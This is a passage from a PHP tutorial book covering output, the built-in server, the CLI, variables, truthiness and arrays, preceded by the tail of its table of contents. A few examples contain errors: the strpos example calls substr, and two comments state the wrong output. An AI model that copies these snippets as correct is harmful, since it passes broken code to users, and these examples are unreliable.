Chapter 96: Imagick ................................................................................................................................................ 368
Section 96.1: First Steps ............................................................................................................................................. 368
Section 96.2: Convert Image into base64 String .................................................................................................... 369
Chapter 97: SimpleXML ......................................................................................................................................... 369
 Section 97.1: Loading XML data into simplexml ..................................................................................................... 369
Chapter 98: HTTP Authentication .................................................................................................................... 370
Section 98.1: Simple authenticate ............................................................................................................................ 370
Chapter 99: Recipes ................................................................................................................................................. 370
Section 99.1: Create a site visit counter ................................................................................................................... 370
Chapter 100: BC Math (Binary Calculator) ................................................................................................... 371
Section 100.1: Using bcmath to read/write a binary long on 32-bit system ....................................................... 372
Section 100.2: Comparison between BCMath and float arithmetic operations .................................................. 372
Chapter 101: Docker deployment ..................................................................................................................... 373
Section 101.1: Get docker image for php ................................................................................................................. 373
Section 101.2: Writing dockerfile .............................................................................................................................. 373
Section 101.3: Building image ................................................................................................................................... 374
Section 101.4: Starting application container .......................................................................................................... 374
Chapter 102: WebSockets ..................................................................................................................................... 374
Section 102.1: Simple TCP/IP server ........................................................................................................................ 374
Chapter 103: APCu .................................................................................................................................................... 375
Section 103.1: Iterating over Entries ......................................................................................................................... 376
Section 103.2: Simple storage and retrieval ........................................................................................................... 376
Section 103.3: Store information .............................................................................................................................. 376
Chapter 104: Design Patterns ............................................................................................................................ 376
Section 104.1: Method Chaining in PHP .................................................................................................................... 376
Chapter 105: Secure Remeber Me .................................................................................................................... 378
Section 105.1: “Keep Me Logged In” - the best approach ...................................................................................... 378
Chapter 106: php mysqli aected rows returns 0 when it should return a positive
integer ............................................................................................................................................................................ 378
Chapter 107: PHP Built in server ....................................................................................................................... 378
Section 107.1: Running the built in server ................................................................................................................ 379
Section 107.2: built in server with specific directory and router script ................................................................. 379
Chapter 108: How to break down an URL .................................................................................................... 379
Section 108.1: Using parse_url() ............................................................................................................................... 379
Section 108.2: Using explode() ................................................................................................................................. 380
Section 108.3: Using basename() ............................................................................................................................ 381
Chapter 109: PSR ....................................................................................................................................................... 381
Section 109.1: PSR-4: Autoloader .............................................................................................................................. 381
Section 109.2: PSR-1: Basic Coding Standard ......................................................................................................... 382
Credits ............................................................................................................................................................................ 383
You may also like ...................................................................................................................................................... 391
About

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Complete PHP Tips & Secrets for Professionals 1

Chapter 1: Getting started with PHP
PHP 7.x
Version Supported Until Release Date
7.1 2019-12-01 2016-12-01
7.0 2018-12-03 2015-12-03
PHP 5.x
Version Supported Until Release Date
5.6 2018-12-31 2014-08-28
5.5 2016-07-21 2013-06-20
5.4 2015-09-03 2012-03-01
5.3 2014-08-14 2009-06-30
5.2 2011-01-06 2006-11-02
5.1 2006-08-24 2005-11-24
5.0 2005-09-05 2004-07-13
PHP 4.x
Version Supported Until Release Date
4.4 2008-08-07 2005-07-11
4.3 2005-03-31 2002-12-27
4.2 2002-09-06 2002-04-22
4.1 2002-03-12 2001-12-10
4.0 2001-06-23 2000-05-22
Legacy Versions
Version Supported Until Release Date
3.0 2000-10-20 1998-06-06
2.0 1997-11-01
1.0 1995-06-08

Section 1.1: HTML output from web server

PHP can be used to add content to HTML files. While HTML is processed directly by a web browser, PHP scripts are
executed by a web server and the resulting HTML is sent to the browser.

The following HTML markup contains a PHP statement that will add Hello World! to the output:

<!DOCTYPE html>
<html>
<head>
<title>PHP!</title>
</head>
<body>
<p><?php echo "Hello world!"; ?></p>
</body>
</html>

When this is saved as a PHP script and executed by a web server, the following HTML will be sent to the user's
browser:

<!DOCTYPE html>
<html>
<head>
<title>PHP!</title>
</head>
<body>
<p>Hello world!</p>
</body>
</html>

Complete PHP Tips & Secrets for Professionals 2

PHP 5.x Version≥5.4

echo also has a shortcut syntax, which lets you immediately print a value. Prior to PHP 5.4.0, this short syntax only
works with the short_open_tag configuration setting enabled.

For example, consider the following code:

<p><?= "Hello world!" ?></p>

Its output is identical to the output of the following:

<p><?php echo "Hello world!"; ?></p>

In real-world applications, all data output by PHP to an HTML page should be properly escaped to prevent XSS
(Cross-site scripting) attacks or text corruption.

See also: Strings and PSR-1, which describes best practices, including the proper use of short tags (<?= ... ?>).

Section 1.2: Hello, World!

The most widely used language construct to print output in PHP is echo:

echo "Hello, World!\n";

Alternatively, you can also use print:

print "Hello, World!\n";

Both statements perform the same function, with minor differences:

echo has a void return, whereas print returns an int with a value of 1
echo can take multiple arguments (without parentheses only), whereas print only takes one argument
echo is slightly faster than print

Both echo and print are language constructs, not functions. That means they do not require parentheses around
their arguments. For cosmetic consistency with functions, parentheses can be included. Extensive examples of the
use of echo and print are available elsewhere.

C-style printf and related functions are available as well, as in the following example:

printf("%s\n", "Hello, World!");

See Outputting the value of a variable for a comprehensive introduction of outputting variables in PHP.

Section 1.3: Non-HTML output from web server

In some cases, when working with a web server, overriding the web server's default content type may be required.
There may be cases where you need to send data as plain text, JSON, or XML, for example.

The header() function can send a raw HTTP header. You can add the Content-Type header to notify the browser of
the content we are sending.

Consider the following code, where we set Content-Type as text/plain:

header("Content-Type: text/plain");
echo "Hello World";

This will produce a plain text document with the following content:

Complete PHP Tips & Secrets for Professionals 3

Hello World

To produce JSON content, use the application/json content type instead:

header("Content-Type: application/json");

// Create a PHP data array.

$data = ["response" => "Hello World"];

// json_encode will convert it to a valid JSON string.

echo json_encode($data);

This will produce a document of type application/json with the following content:

{"response":"Hello World"}

Note that the header() function must be called before PHP produces any output, or the web server will have
already sent headers for the response. So, consider the following code:

// Error: We cannot send any output before the headers

echo "Hello";

// All headers must be sent before ANY PHP output

header("Content-Type: text/plain");
echo "World";

This will produce a warning:

Warning: Cannot modify header information - headers already sent by (output started at /dir/example.php:2) in
/dir/example.php on line 3

When using header(), its output needs to be the first byte that's sent from the server. For this reason it's important
to not have empty lines or spaces in the beginning of the file before the PHP opening tag <?php. For the same
reason, it is considered best practice (see PSR-2) to omit the PHP closing tag ?> from files that contain only PHP and
from blocks of PHP code at the very end of a file.

View the output buffering section to learn how to 'catch' your content into a variable to output later, for example,
after outputting headers.

Section 1.4: PHP built-in server

PHP 5.4+ comes with a built-in development server. It can be used to run applications without having to install a
production HTTP server such as nginx or Apache. The built-in server is only designed to be used for development
and testing purposes.

It can be started by using the -S flag:

php -S <host/ip>:<port>
Example usage

1. Create an index.php file containing:

<?php
echo "Hello World from built-in PHP server";

2. Run the command php -S localhost:8080 from the command line. Do not include http://. This will start a
web server listening on port 8080 using the current directory that you are in as the document root.

Complete PHP Tips & Secrets for Professionals 4

 3. Open the browser and navigate to http://localhost:8080. You should see your "Hello World" page.

Configuration

To override the default document root (i.e. the current directory), use the -t flag:

php -S <host/ip>:<port> -t <directory>

E.g. if you have a public/ directory in your project you can serve your project from that directory using php -S
localhost:8080 -t public/.

Logs

Every time a request is made from the development server, a log entry like the one below is written to the
command line.

[Mon Aug 15 18:20:19 2016] ::1:52455 [200]: /

Section 1.5: PHP CLI

PHP can also be run from command line directly using the CLI (Command Line Interface).

CLI is basically the same as PHP from web servers, except some differences in terms of standard input and output.

Triggering

The PHP CLI allows four ways to run PHP code:

1. Standard input. Run the php command without any arguments, but pipe PHP code into it: echo '<?php echo
"Hello world!";' | php
2. Filename as argument. Run the php command with the name of a PHP source file as the first argument: php
hello_world.php
3. Code as argument. Use the -r option in the php command, followed by the code to run. The <?php open tags
are not required, as everything in the argument is considered as PHP code: php -r 'echo "Hello world!";'
4. Interactive shell. Use the -a option in the php command to launch an interactive shell. Then, type (or paste)
PHP code and hit return: $ php -a Interactive mode enabled php > echo "Hello world!"; Hello world!

Output

All functions or controls that produce HTML output in web server PHP can be used to produce output in the stdout
stream (file descriptor 1), and all actions that produce output in error logs in web server PHP will produce output in
the stderr stream (file descriptor 2).

Example.php
<?php
echo "Stdout 1\n";
trigger_error("Stderr 2\n");
print_r("Stdout 3\n");
fwrite(STDERR, "Stderr 4\n");
throw new RuntimeException("Stderr 5\n");
?>
Stdout 6
Shell command line
$ php Example.php 2>stderr.log >stdout.log;\
> echo STDOUT; cat stdout.log; echo;\
> echo STDERR; cat stderr.log\

Complete PHP Tips & Secrets for Professionals 5

STDOUT
Stdout 1
Stdout 3

STDERR
Stderr 4
PHP Notice: Stderr 2
in /Example.php on line 3
PHP Fatal error: Uncaught RuntimeException: Stderr 5
in /Example.php:6
Stack trace:
#0 {main}
thrown in /Example.php on line 6
Input

See: Command Line Interface (CLI)

Section 1.6: Instruction Separation

Just like most other C-style languages, each statement is terminated with a semicolon. Also, a closing tag is used to
terminate the last line of code of the PHP block.

If the last line of PHP code ends with a semicolon, the closing tag is optional if there is no code following that final
line of code. For example, we can leave out the closing tag after echo "No error"; in the following example:

<?php echo "No error"; // no closing tag is needed as long as there is no code below

However, if there is any other code following your PHP code block, the closing tag is no longer optional:

<?php echo "This will cause an error if you leave out the closing tag"; ?>
<html>
<body>
</body>
</html>

We can also leave out the semicolon of the last statement in a PHP code block if that code block has a closing tag:

<?php echo "I hope this helps! :D";

echo "No error" ?>

It is generally recommended to always use a semicolon and use a closing tag for every PHP code block except the
last PHP code block, if no more code follows that PHP code block.

So, your code should basically look like this:

<?php
echo "Here we use a semicolon!";
echo "Here as well!";
echo "Here as well!";
echo "Here we use a semicolon and a closing tag because more code follows";
?>
<p>Some HTML code goes here</p>
<?php
echo "Here we use a semicolon!";
echo "Here as well!";
echo "Here as well!";
echo "Here we use a semicolon and a closing tag because more code follows";
?>
<p>Some HTML code goes here</p>
<?php
echo "Here we use a semicolon!";

Complete PHP Tips & Secrets for Professionals 6

 echo "Here as well!";
echo "Here as well!";
echo "Here we use a semicolon but leave out the closing tag";

Section 1.7: PHP Tags

There are three kinds of tags to denote PHP blocks in a file. The PHP parser is looking for the opening and (if
present) closing tags to delimit the code to interpret.

Standard Tags

These tags are the standard method to embed PHP code in a file.

<?php
echo "Hello World";
?>
PHP 5.x Version≥5.4
Echo Tags

These tags are available in all PHP versions, and since PHP 5.4 are always enabled. In previous versions, echo tags
could only be enabled in conjunction with short tags.

<?= "Hello World" ?>

Short Tags

You can disable or enable these tags with the option short_open_tag.

<?
echo "Hello World";
?>

Short tags:

are disallowed in all major PHP coding standards

are discouraged in the official documentation
are disabled by default in most distributions
interfere with inline XML's processing instructions
are not accepted in code submissions by most open source projects

PHP 5.x Version≤5.6

ASP Tags

By enabling the asp_tags option, ASP-style tags can be used.

<%
echo "Hello World";
%>

These are an historic quirk and should never be used. They were removed in PHP 7.0.

Chapter 2: Variables
$variable = 'value'; // Assign general variable
$object->property = 'value'; // Assign an object property
ClassName::$property = 'value'; // Assign a static class property
$array[0] = 'value'; // Assign a value to an index of an array

Complete PHP Tips & Secrets for Professionals 7

 $array[] = 'value'; // Push an item at the end of an array
$array['key'] = 'value'; // Assign an array value
echo $variable; // Echo (print) a variable value
some_function($variable); // Use variable as function parameter
unset($variable); // Unset a variable
$$variable = 'value'; // Assign to a variable variable
isset($variable); // Check if a variable is set or not
empty($variable); // Check if a variable is empty or not

Section 2.1: Accessing A Variable Dynamically By Name (Variable

variables)
Variables can be accessed via dynamic variable names. The name of a variable can be stored in another variable,
allowing it to be accessed dynamically. Such variables are known as variable variables.

To turn a variable into a variable variable, you put an extra $ put in front of your variable.

$variableName = 'foo';
$foo = 'bar';

// The following are all equivalent, and all output "bar":

echo $foo;
echo ${$variableName};
echo $$variableName;

//similarly,
$variableName = 'foo';
$$variableName = 'bar';

// The following statements will also output 'bar'

echo $foo;
echo $$variableName;
echo ${$variableName};

Variable variables are useful for mapping function/method calls:

function add($a, $b) {

return $a + $b;
}

$funcName = 'add';

echo $funcName(1, 2); // outputs 3

This becomes particularly helpful in PHP classes:

class myClass {
public function __construct() {
$functionName = 'doSomething';
$this->$functionName('Hello World');
}

private function doSomething($string) {

echo $string; // Outputs "Hello World"
}
}

It is possible, but not required to put $variableName between {}:

${$variableName} = $value;

Complete PHP Tips & Secrets for Professionals 8

The following examples are both equivalent and output "baz":

$fooBar = 'baz';
$varPrefix = 'foo';

echo $fooBar; // Outputs "baz"

echo ${$varPrefix . 'Bar'}; // Also outputs "baz"

Using {} is only mandatory when the name of the variable is itself an expression, like this:

${$variableNamePart1 . $variableNamePart2} = $value;

It is nevertheless recommended to always use {}, because it's more readable.

While it is not recommended to do so, it is possible to chain this behavior:

$$$$$$$$DoNotTryThisAtHomeKids = $value;

It's important to note that the excessive usage of variable variables is considered a bad practice by many
developers. Since they're not well-suited for static analysis by modern IDEs, large codebases with many variable
variables (or dynamic method invocations) can quickly become difficult to maintain.

Differences between PHP5 and PHP7

Another reason to always use {} or (), is that PHP5 and PHP7 have a slightly different way of dealing with dynamic
variables, which results in a different outcome in some cases.

In PHP7, dynamic variables, properties, and methods will now be evaluated strictly in left-to-right order, as opposed
to the mix of special cases in PHP5. The examples below show how the order of evaluation has changed.

Case 1 : $$foo['bar']['baz']

PHP5 interpretation : ${$foo['bar']['baz']}

PHP7 interpretation : ($$foo)['bar']['baz']

Case 2 : $foo->$bar['baz']

PHP5 interpretation : $foo->{$bar['baz']}

PHP7 interpretation : ($foo->$bar)['baz']

Case 3 : $foo->$bar['baz']()

PHP5 interpretation : $foo->{$bar['baz']}()

PHP7 interpretation : ($foo->$bar)['baz']()

Case 4 : Foo::$bar['baz']()

PHP5 interpretation : Foo::{$bar['baz']}()

PHP7 interpretation : (Foo::$bar)['baz']()

Section 2.2: Data Types

There are different data types for different purposes. PHP does not have explicit type definitions, but the type of a
variable is determined by the type of the value that is assigned, or by the type that it is casted to. This is a brief
overview about the types, for a detailed documentation and examples, see the PHP types topic.

There are following data types in PHP: null, boolean, integer, float, string, object, resource and array.

Null

Complete PHP Tips & Secrets for Professionals 9

Null can be assigned to any variable. It represents a variable with no value.

$foo = null;

This invalidates the variable and it's value would be undefined or void if called. The variable is cleared from memory
and deleted by the garbage collector.

Boolean

This is the simplest type with only two possible values.

$foo = true;
$bar = false;

Booleans can be used to control the flow of code.

$foo = true;

if ($foo) {
echo "true";
} else {
echo "false";
}
Integer

An integer is a whole number positive or negative. It can be in used with any number base. The size of an integer is
platform-dependent. PHP does not support unsigned integers.

$foo = -3; // negative

$foo = 0; // zero (can also be null or false (as boolean)
$foo = 123; // positive decimal
$bar = 0123; // octal = 83 decimal
$bar = 0xAB; // hexadecimal = 171 decimal
$bar = 0b1010; // binary = 10 decimal
var_dump(0123, 0xAB, 0b1010); // output: int(83) int(171) int(10)
Float

Floating point numbers, "doubles" or simply called "floats" are decimal numbers.

$foo = 1.23;
$foo = 10.0;
$bar = -INF;
$bar = NAN;
Array

An array is like a list of values. The simplest form of an array is indexed by integer, and ordered by the index, with
the first element lying at index 0.

$foo = array(1, 2, 3); // An array of integers

$bar = ["A", true, 123 => 5]; // Short array syntax, PHP 5.4+

echo $bar[0]; // Returns "A"

echo $bar[1]; // Returns true
echo $bar[123]; // Returns 5
echo $bar[1234]; // Returns null

Arrays can also associate a key other than an integer index to a value. In PHP, all arrays are associative arrays
behind the scenes, but when we refer to an 'associative array' distinctly, we usually mean one that contains one or
more keys that aren't integers.

Complete PHP Tips & Secrets for Professionals 10

$array = array();
$array["foo"] = "bar";
$array["baz"] = "quux";
$array[42] = "hello";
echo $array["foo"]; // Outputs "bar"
echo $array["bar"]; // Outputs "quux"
echo $array[42]; // Outputs "hello"
String

A string is like an array of characters.

$foo = "bar";

Like an array, a string can be indexed to return its individual characters:

$foo = "bar";
echo $foo[0]; // Prints 'b', the first character of the string in $foo.
Object

An object is an instance of a class. Its variables and methods can be accessed with the -> operator.

$foo = new stdClass(); // create new object of class stdClass, which a predefined, empty class
$foo->bar = "baz";
echo $foo->bar; // Outputs "baz"
// Or we can cast an array to an object:
$quux = (object) ["foo" => "bar"];
echo $quux->foo; // This outputs "bar".
Resource

Resource variables hold special handles to opened files, database connections, streams, image canvas areas and
the like (as it is stated in the manual).

$fp = fopen('file.ext', 'r'); // fopen() is the function to open a file on disk as a resource.
var_dump($fp); // output: resource(2) of type (stream)

To get the type of a variable as a string, use the gettype() function:

echo gettype(1); // outputs "integer"

echo gettype(true); // "boolean"

Section 2.3: Global variable best practices

We can illustrate this problem with the following pseudo-code

function foo() {
global $bob;
$bob->doSomething();
}

Your first question here is an obvious one

Where did $bob come from?

Are you confused? Good. You've just learned why globals are confusing and considered a bad practice.

If this were a real program, your next bit of fun is to go track down all instances of $bob and hope you find the right
one (this gets worse if $bob is used everywhere). Worse, if someone else goes and defines $bob (or you forgot and
reused that variable) your code can break (in the above code example, having the wrong object, or no object at all,
would cause a fatal error).

Complete PHP Tips & Secrets for Professionals 11

Since virtually all PHP programs make use of code like include('file.php'); your job maintaining code like this
becomes exponentially harder the more files you add.

Also, this makes the task of testing your applications very difficult. Suppose you use a global variable to hold your
database connection:

$dbConnector = new DBConnector(...); function doSomething() { global $dbConnector;

$dbConnector->execute("..."); }

In order to unit test this function, you have to override the global $dbConnector variable, run the tests and then
reset it to its original value, which is very bug prone:

/** * @test */ function testSomething() { global $dbConnector; $bkp = $dbConnector; // Make backup
$dbConnector = Mock::create('DBConnector'); // Override assertTrue(foo()); $dbConnector = $bkp; // Restore }

How do we avoid Globals?

The best way to avoid globals is a philosophy called Dependency Injection. This is where we pass the tools we
need into the function or class.

function foo(\Bar $bob) {

$bob->doSomething();
}

This is much easier to understand and maintain. There's no guessing where $bob was set up because the caller is
responsible for knowing that (it's passing us what we need to know). Better still, we can use type declarations to
restrict what's being passed.

So we know that $bob is either an instance of the Bar class, or an instance of a child of Bar, meaning we know we
can use the methods of that class. Combined with a standard autoloader (available since PHP 5.3), we can now go
track down where Bar is defined. PHP 7.0 or later includes expanded type declarations, where you can also use
scalar types (like int or string).

Version=4.1

Superglobal variables

Super globals in PHP are predefined variables, which are always available, can be accessed from any scope
throughout the script.

There is no need to do global $variable; to access them within functions/methods, classes or files.

These PHP superglobal variables are listed below:

$GLOBALS
$_SERVER
$_REQUEST
$_POST
$_GET
$_FILES
$_ENV
$_COOKIE
$_SESSION

Complete PHP Tips & Secrets for Professionals 12

Section 2.4: Default values of uninitialized variables
Although not necessary in PHP however it is a very good practice to initialize variables. Uninitialized variables have a
default value of their type depending on the context in which they are used:

Unset AND unreferenced

var_dump($unset_var); // outputs NULL

Boolean

echo($unset_bool ? "true\n" : "false\n"); // outputs 'false'

String

$unset_str .= 'abc';
var_dump($unset_str); // outputs 'string(3) "abc"'

Integer

$unset_int += 25; // 0 + 25 => 25

var_dump($unset_int); // outputs 'int(25)'

Float/double

$unset_float += 1.25;
var_dump($unset_float); // outputs 'float(1.25)'

Array

$unset_arr[3] = "def";
var_dump($unset_arr); // outputs array(1) { [3]=> string(3) "def" }

Object

$unset_obj->foo = 'bar';
var_dump($unset_obj); // Outputs: object(stdClass)#1 (1) { ["foo"]=> string(3) "bar" }

Relying on the default value of an uninitialized variable is problematic in the case of including one file into another
which uses the same variable name.

Section 2.5: Variable Value Truthiness and Identical Operator

In PHP, variable values have an associated "truthiness" so even non-boolean values will equate to true or false.
This allows any variable to be used in a conditional block, e.g.

if ($var == true) { /* explicit version */ }

if ($var) { /* $var == true is implicit */ }

Here are some fundamental rules for different types of variable values:

Strings with non-zero length equate to true including strings containing only whitepace such as ' '.
Empty strings '' equate to false.

$var = '';
$var_is_true = ($var == true); // false
$var_is_false = ($var == false); // true

$var = ' ';

$var_is_true = ($var == true); // true

Complete PHP Tips & Secrets for Professionals 13

$var_is_false = ($var == false); // false

Integers equate to true if they are nonzero, while zero equates to false.

$var = -1;
$var_is_true = ($var == true); // true
$var = 99;
$var_is_true = ($var == true); // true
$var = 0;
$var_is_true = ($var == true); // false

null equates to false

$var = null;
$var_is_true = ($var == true); // false
$var_is_false = ($var == false); // true

Empty strings '' and string zero '0' equate to false.

$var = '';
$var_is_true = ($var == true); // false
$var_is_false = ($var == false); // true

$var = '0';
$var_is_true = ($var == true); // false
$var_is_false = ($var == false); // true

Floating-point values equate to true if they are nonzero, while zero values equates to false.
NAN (PHP's Not-a-Number) equates to true, i.e. NAN == true is true. This is because NAN is a nonzero
floating-point value.
Zero-values include both +0 and -0 as defined by IEEE 754. PHP does not distinguish between +0 and -0
in its double-precision floating-point, i.e. floatval('0') == floatval('-0') is true.
In fact, floatval('0') === floatval('-0').
Additionally, both floatval('0') == false and floatval('-0') == false.

$var = NAN;
$var_is_true = ($var == true); // true
$var_is_false = ($var == false); // false

$var = floatval('-0');
$var_is_true = ($var == true); // false
$var_is_false = ($var == false); // true

$var = floatval('0') == floatval('-0');

$var_is_true = ($var == true); // false
$var_is_false = ($var == false); // true

IDENTICAL OPERATOR

In the PHP Documentation for Comparison Operators, there is an Identical Operator ===. This operator can be used
to check whether a variable is identical to a reference value:

$var = null;
$var_is_null = $var === null; // true
$var_is_true = $var === true; // false
$var_is_false = $var === false; // false

It has a corresponding not identical operator !==:

$var = null;
$var_is_null = $var !== null; // false
$var_is_true = $var !== true; // true

Complete PHP Tips & Secrets for Professionals 14

$var_is_false = $var !== false; // true

The identical operator can be used as an alternative to language functions like is_null().

USE CASE WITH strpos()

The strpos($haystack, $needle) language function is used to locate the index at which $needle occurs in
$haystack, or whether it occurs at all. The strpos() function is case sensitive; if case-insensitive find is what you
need you can go with stripos($haystack, $needle)

The strpos & stripos function also contains third parameter offset (int) which if specified, search will start this
number of characters counted from the beginning of the string. Unlike strrpos and strripos, the offset cannot be
negative

The function can return:

0 if $needle is found at the beginning of $haystack;

a non-zero integer specifying the index if $needle is found somewhere other than the beginning in
$haystack;
and value false if $needle is not found anywhere in $haystack.

Because both 0 and false have truthiness false in PHP but represent distinct situations for strpos(), it is
important to distinguish between them and use the identical operator === to look exactly for false and not just a
value that equates to false.

$idx = substr($haystack, $needle);

if ($idx === false)
{
// logic for when $needle not found in $haystack
}
else
{
// logic for when $needle found in $haystack
}

Alternatively, using the not identical operator:

$idx = substr($haystack, $needle);

if ($idx !== false)
{
// logic for when $needle found in $haystack
}
else
{
// logic for when $needle not found in $haystack
}

Chapter 3: Arrays
$array = array('Value1', 'Value2', 'Value3'); // Keys default to 0, 1, 2, ...,
$array = array('Value1', 'Value2', ); // Optional trailing comma
$array = array('key1' => 'Value1', 'key2' => 'Value2', ); // Explicit keys
$array = array('key1' => 'Value1', 'Value2', ); // Array ( ['key1'] => Value1 [1] => 'Value2')
$array = ['key1' => 'Value1', 'key2' => 'Value2', ]; // PHP 5.4+ shorthand
$array[] = 'ValueX'; // Append 'ValueX' to the end of the array
$array['keyX'] = 'ValueX'; // Assign 'valueX' to key 'keyX'
$array += ['keyX' => 'valueX', 'keyY' => 'valueY']; // Adding/Overwrite elements on an existing array

Complete PHP Tips & Secrets for Professionals 15

Parameter Detail
The key is the unique identifier and index of an array. It may be a string or an integer. Therefore,
Key
valid keys would be 'foo', '5', 10, 'a2b', ...
For each key there is a corresponding value (null otherwise and a notice is emitted upon access). The
Value
value has no restrictions on the input type.

An array is a data structure that stores an arbitrary number of values in a single value. An array in PHP is actually an
ordered map, where map is a type that associates values to keys.

Section 3.1: Initializing an Array

An array can be initialized empty:

// An empty array
$foo = array();

// Shorthand notation available since PHP 5.4

$foo = [];

An array can be initialized and preset with values:

// Creates a simple array with three strings

$fruit = array('apples', 'pears', 'oranges');

// Shorthand notation available since PHP 5.4

$fruit = ['apples', 'pears', 'oranges'];

An array can also be initialized with custom indexes (also called an associative array):

// A simple associative array

$fruit = array(
'first' => 'apples',
'second' => 'pears',
'third' => 'oranges'
);

// Key and value can also be set as follows

$fruit['first'] = 'apples';

// Shorthand notation available since PHP 5.4

$fruit = [
'first' => 'apples',
'second' => 'pears',
'third' => 'oranges'
];

If the variable hasn't been used before, PHP will create it automatically. While convenient, this might make the code
harder to read:

$foo[] = 1; // Array( [0] => 1 )

$bar[][] = 2; // Array( [0] => Array( [0] => 2 ) )

The index will usually continue where you left off. PHP will try to use numeric strings as integers:

$foo = [2 => 'apple', 'melon']; // Array( [2] => apple, [3] => melon )
$foo = ['2' => 'apple', 'melon']; // same as above

Complete PHP Tips & Secrets for Professionals 16

$foo = [2 => 'apple', 'this is index 3 temporarily', '3' => 'melon']; // same as above! The last
entry will overwrite the second!

To initialize an array with fixed size you can use SplFixedArray:

$array = new SplFixedArray(3);

$array[0] = 1;
$array[1] = 2;
$array[2] = 3;
$array[3] = 4; // RuntimeException

// Increase the size of the array to 10

$array->setSize(10);

Note: An array created using SplFixedArray has a reduced memory footprint for large sets of data, but the keys
must be integers.

To initialize an array with a dynamic size but with n non empty elements (e.g. a placeholder) you can use a loop as
follows:

$myArray = array();
$sizeOfMyArray = 5;
$fill = 'placeholder';

for ($i = 0; $i < $sizeOfMyArray; $i++) {

$myArray[] = $fill;
}

// print_r($myArray); results in the following:

// Array ( [0] => placeholder [1] => placeholder [2] => placeholder [3] => placeholder [4] =>
placeholder )

If all your placeholders are the same then you can also create it using the function array_fill():

array array_fill ( int $start_index , int $num , mixed $value )

This creates and returns an array with num entries of value, keys starting at start_index.

Note: If the start_index is negative it will start with the negative index and continue from 0 for the following
elements.

$a = array_fill(5, 6, 'banana'); // Array ( [5] => banana, [6] => banana, ..., [10] => banana)
$b = array_fill(-2, 4, 'pear'); // Array ( [-2] => pear, [0] => pear, ..., [2] => pear)

Conclusion: With array_fill() you are more limited for what you can actually do. The loop is more flexible and
opens you a wider range of opportunities.

Whenever you want an array filled with a range of numbers (e.g. 1-4) you could either append every single element
to an array or use the range() function:

array range ( mixed $start , mixed $end [, number $step = 1 ] )

This function creates an array containing a range of elements. The first two parameters are required, where they
set the start and end points of the (inclusive) range. The third parameter is optional and defines the size of the

Complete PHP Tips & Secrets for Professionals 17

steps being taken. Creating a range from 0 to 4 with a stepsize of 1, the resulting array would consist of the
following elements: 0, 1, 2, 3, and 4. If the step size is increased to 2 (i.e. range(0, 4, 2)) then the resulting array
would be: 0, 2, and 4.

$array = [];
$array_with_range = range(1, 4);

for ($i = 1; $i <= 4; $i++) {

$array[] = $i;
}

print_r($array); // Array ( [0] => 1 [1] => 2 [2] => 3 [3] => 4 )
print_r($array_with_range); // Array ( [0] => 1 [1] => 2 [2] => 3 [3] => 4 )

range can work with integers, floats, booleans (which become casted to integers), and strings. Caution should be
taken, however, when using floats as arguments due to the floating point precision problem.

Section 3.2: Check if key exists

Use array_key_exists() or isset() or !empty():

$map = [
'foo' => 1,
'bar' => null,
'foobar' => '',
];

array_key_exists('foo', $map); // true

isset($map['foo']); // true
!empty($map['foo']); // true

array_key_exists('bar', $map); // true

isset($map['bar']); // false
!empty($map['bar']); // false

Note that isset() treats a null valued element as non-existent. Whereas !empty() does the same for any element
that equals false (using a weak comparision; for example, null, '' and 0 are all treated as false by !empty()).
While isset($map['foobar']); is true, !empty($map['foobar']) is false. This can lead to mistakes (for example,
it is easy to forget that the string '0' is treated as false) so use of !empty() is often frowned upon.

Note also that isset() and !empty() will work (and return false) if $map is not defined at all. This makes them
somewhat error-prone to use:

// Note "long" vs "lang", a tiny typo in the variable name.

$my_array_with_a_long_name = ['foo' => true];
array_key_exists('foo', $my_array_with_a_lang_name); // shows a warning
isset($my_array_with_a_lang_name['foo']); // returns false

You can also check for ordinal arrays:

$ord = ['a', 'b']; // equivalent to [0 => 'a', 1 => 'b']

array_key_exists(0, $ord); // true

array_key_exists(2, $ord); // false

Note that isset() has better performance than array_key_exists() as the latter is a function and the former a
language construct.

You can also use key_exists(), which is an alias for array_key_exists().

Complete PHP Tips & Secrets for Professionals 18

Section 3.3: Validating the array type
The function is_array() returns true if a variable is an array.

$integer = 1337;
$array = [1337, 42];

is_array($integer); // false
is_array($array); // true

You can type hint the array type in a function to enforce a parameter type; passing anything else will result in a fatal
error.

function foo (array $array) { /* $array is an array */ }

You can also use the gettype() function.

$integer = 1337;
$array = [1337, 42];

gettype($integer) === 'array'; // false

gettype($array) === 'array'; // true

Section 3.4: Creating an array of variables

$username = 'Hadibut';
$email = '[email protected]';

$variables = compact('username', 'email');

// $variables is now ['username' => 'Hadibut', 'email' => '[email protected]']

This method is often used in frameworks to pass an array of variables between two components.

Section 3.5: Checking if a value exists in array

The function in_array() returns true if an item exists in an array.

$fruits = ['banana', 'apple'];

$foo = in_array('banana', $fruits);

// $foo value is true

$bar = in_array('orange', $fruits);

// $bar value is false

You can also use the function array_search() to get the key of a specific item in an array.

$userdb = ['Sandra Shush', 'Stefanie Mcmohn', 'Michael'];

$pos = array_search('Stefanie Mcmohn', $userdb);
if ($pos !== false) {
echo "Stefanie Mcmohn found at $pos";
}
PHP 5.x Version≥5.5

In PHP 5.5 and later you can use array_column() in conjunction with array_search().

This is particularly useful for checking if a value exists in an associative array:

$userdb = [
[
"uid" => '100',

Complete PHP Tips & Secrets for Professionals 19

 "name" => 'Sandra Shush',
"url" => 'urlof100',
],
[
"uid" => '5465',
"name" => 'Stefanie Mcmohn',
"pic_square" => 'urlof100',
],
[
"uid" => '40489',
"name" => 'Michael',
"pic_square" => 'urlof40489',
]
];

$key = array_search(40489, array_column($userdb, 'uid'));

Section 3.6: ArrayAccess and Iterator Interfaces

Another useful feature is accessing your custom object collections as arrays in PHP. There are two interfaces
available in PHP (>=5.0.0) core to support this: ArrayAccess and Iterator. The former allows you to access your
custom objects as array.

ArrayAccess

Assume we have a user class and a database table storing all the users. We would like to create a UserCollection
class that will:

1. allow us to address certain user by their username unique identifier

2. perform basic (not all CRUD, but at least Create, Retrieve and Delete) operations on our users collection

Consider the following source (hereinafter we're using short array creation syntax [] available since version 5.4):

class UserCollection implements ArrayAccess {

protected $_conn;

protected $_requiredParams = ['username','password','email'];

public function __construct() {

$config = new Configuration();

$connectionParams = [
//your connection to the database
];

$this->_conn = DriverManager::getConnection($connectionParams, $config);

}

protected function _getByUsername($username) {

$ret = $this->_conn->executeQuery('SELECT * FROM `User` WHERE `username` IN (?)',
[$username]
)->fetch();

return $ret;
}

// START of methods required by ArrayAccess interface

public function offsetExists($offset) {
